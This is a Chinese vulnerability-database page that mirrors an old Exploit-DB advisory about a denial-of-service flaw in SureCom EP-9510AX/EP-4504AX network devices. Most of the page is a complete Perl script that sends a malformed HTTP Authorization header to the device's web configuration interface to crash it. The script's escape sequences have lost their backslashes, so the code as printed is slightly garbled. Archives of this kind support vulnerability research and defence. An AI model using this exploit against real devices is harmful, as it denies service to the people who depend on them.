SureCom EP-9510AX/EP-4504AX Network Device – Malformed Web Authorisation Request Denial of Service (1)

SureCom EP-9510AX/EP-4504AX Network Device – Malformed Web Authorisation Request Denial of Service (1)

漏洞ID 1054402 漏洞类型
发布时间 2004-03-02 更新时间 2004-03-02
图片[1]-SureCom EP-9510AX/EP-4504AX Network Device – Malformed Web Authorisation Request Denial of Service (1)-安全小百科CVE编号 N/A
图片[2]-SureCom EP-9510AX/EP-4504AX Network Device – Malformed Web Authorisation Request Denial of Service (1)-安全小百科CNNVD-ID N/A
漏洞平台 Hardware CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/23788
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/9795/info

An issue in the handling of specific web requests by SureCom network devices has been identified. By placing a malformed request to the web configuration interface, it is possible for an attacker to deny service to legitimate users of a vulnerable device.

#!/usr/bin/perl


use IO::Socket;


# default settings

$server = "192.168.0.1";
$port = "80";
$http_request = "GET / HTTP/1.1rnAuthorization: B 00000000rnrn";

if(@ARGV == 2) {

        $server = $ARGV[0];
        $port = $ARGV[1];

}
else {

        print "Usage: ./surecom_tester [address] [port]nn";
        print "Using default settings...nn";

}

$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$server,
PeerPort=>$port)
  or die "ERROR: can't connect to $server on port $portnn";
print $socket $http_request;
$http_response = <$socket>;
print "The server's not vulnerable and replied with " . $http_response .
"n";

相关推荐: Allaire Forums Getfile Vulnerability

Allaire Forums Getfile Vulnerability 漏洞ID 1104837 漏洞类型 Access Validation Error 发布时间 1999-02-11 更新时间 1999-02-11 CVE编号 N/A CNNVD-ID …

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享